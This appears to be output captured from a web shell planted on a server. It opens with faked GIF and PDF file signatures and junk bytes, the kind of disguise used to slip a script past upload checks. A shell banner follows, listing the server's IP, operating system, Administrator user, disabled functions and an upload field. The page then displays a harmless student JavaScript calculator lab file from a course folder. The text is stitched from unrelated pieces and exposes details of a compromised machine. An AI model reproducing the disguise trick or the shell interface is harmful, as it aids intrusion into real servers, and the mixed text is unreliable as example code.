GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST1022/Resources/Week/06/ |
Upload File : |
"use strict"; // replace_with_your_name - Lab 2 js file. /** @global {boolean} */ let calculatorOn; // Remember if the calculator is on or off. /** @global {string} */ let currentNumberEntered; // The current number entered and shown in the display. /** @global {string} */ let memoryStore; // Used for MRC/M-/M+ buttons. /** @global {string} */ let operationClicked; // The operation [%+x-÷] that was clicked. /** @global {string} */ let previousAreaClicked; // The previous area that was clicked. /** @global {string} */ let previousNumberEntered; // The previous number entered. /** @global {string} */ let previousOperand_2; // The previous second operand. Used for following on = calculations. function _Initialize() { turnCalculatorOff(); turnCalculatorOn(); } /** * Add the value of the button to the display. * * @param {string} numberClicked The value of the button that was clicked. */ function addKeyToCurrentNumberEntered(numberClicked) { if (Number(currentNumberEntered)) { currentNumberEntered += numberClicked; } else { currentNumberEntered = numberClicked; } } // END addKeyToCurrentNumberEntered. /** * Get the calculator display value. * * @return {string} The current display string. */ function getDisplay() { return document.getElementById('calculatorDisplay').innerText; } // END getDisplay. /** * Perform the calculator button function. * * @param {object} e - The area that was clicked on. * @return (false) Stops the area href from being opened. */ function performCalculatorButton(e) { let btnClicked = e.title; console.log(`performCalculatorButton[] btnClicked = ${btnClicked}`); if (calculatorOn) { // Is the calculator on? switch (btnClicked) { // switch btnClicked. case '00': console.log(`currentNumberEntered = [${currentNumberEntered}]`); if (currentNumberEntered == '' || currentNumberEntered == '0') { btnClicked = '0'; } console.log(`btnClicked changed to [${btnClicked}]`); case '.': if (btnClicked === '.' && getDisplay().indexOf('.') !== -1) { break; } case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': addKeyToCurrentNumberEntered(btnClicked); setDisplay(currentNumberEntered); break; case 'on': if (calculatorOn) { turnCalculatorOff(); } break; case 'x': case '/': if ( previousAreaClicked !== '=') { previousNumberEntered = currentNumberEntered; } currentNumberEntered = ''; operationClicked = btnClicked; console.log(`operationClicked = [${operationClicked}]`); setDisplay(btnClicked); break; case '=': /** @global {string} WIll store the result of the calculation. */ let result; console.log(`previousNumberEntered = ${previousNumberEntered}, currentNumberEntered = ${currentNumberEntered}`); console.log(`operationClicked = ${operationClicked}, previousOperand_2 = ${previousOperand_2}`); if ( previousAreaClicked === '=') { if (previousOperand_2 !== '' && currentNumberEntered === '') { currentNumberEntered = previousOperand_2; console.log(`currentNumberEntered changed to ${currentNumberEntered}`); } } else { currentNumberEntered = previousNumberEntered; console.log(`currentNumberEntered changed to ${currentNumberEntered}`); } console.log(`Calculate: ${Number(previousNumberEntered)} ${operationClicked} ${Number(currentNumberEntered)}`); switch (operationClicked) { case 'x': result = Number(previousNumberEntered) * Number(currentNumberEntered); break; case '/': result = Number(previousNumberEntered) / Number(currentNumberEntered); break; default: console.log(`Operation ${operationClicked} not programmed.`); } let displayResult = result.toString(); previousOperand_2 = currentNumberEntered; previousNumberEntered = displayResult; console.log(`result = ${displayResult}`); setDisplay(result); //resetCalculator(); currentNumberEntered = ''; break; default: console.log(`${btnClicked} not programmed.`); } // switch btnClicked. previousAreaClicked = btnClicked; } else { // Is the calculator on? if (btnClicked === 'on') { turnCalculatorOn(); } } // Is the calculator on? return false; } // END performCalculatorButton. /** * Reset the calculator global variables. */ function resetCalculator() { currentNumberEntered = ''; memoryStore = '0'; operationClicked = ''; previousAreaClicked = ''; previousNumberEntered = '0'; previousOperand_2 = ''; } // END resetCalculator. /** * Turn off the calculator. */ function turnCalculatorOff() { console.log('turnCalculatorOff[]'); calculatorOn = false; document.getElementById('calculatorDisplay').style.backgroundColor = 'black'; } // END turnCalculatorOff. /** * Turn on and reset the calculator. */ function turnCalculatorOn() { console.log('turnCalculatorOn[]'); calculatorOn = true; resetCalculator(); setDisplay('0'); document.getElementById('calculatorDisplay').style.backgroundColor = 'silver'; } // END turnCalculatorOn. /** * Set the calculator display value. * * @param {string} displayValue - The value to display. */ function setDisplay(displayValue) { document.getElementById('calculatorDisplay').innerText = displayValue; } // END setDisplay.